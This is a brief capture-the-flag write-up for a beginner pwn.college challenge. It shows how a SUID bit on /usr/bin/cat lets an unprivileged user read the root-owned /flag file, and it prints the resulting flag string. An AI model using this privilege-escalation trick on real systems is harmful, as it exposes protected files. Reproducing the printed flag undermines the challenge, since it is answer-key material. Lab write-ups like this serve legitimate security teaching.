Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer Date: 2025-07-15
Author: Himanshu Parate

🧠 Summary:

The challenge abuses a SUID bit set on /usr/bin/cat, allowing an unprivileged user to read the root-owned flag file at /flag.

🔍 Enumeration

ls -l /usr/bin/cat

output:

-rwsr-xr-x 1 root root 43416 Sep  5  2019 /usr/bin/cat

-The s in -rws indicates it’s a SUID binary. -cat runs with root privileges.

🚀 Exploitation

We simply use cat to read the flag:

cat /flag

Output:

pwn.college{8PCUj5hh6wUteYb_5VXQFFgl-nG.dNDNxwSM0IzMyEzW}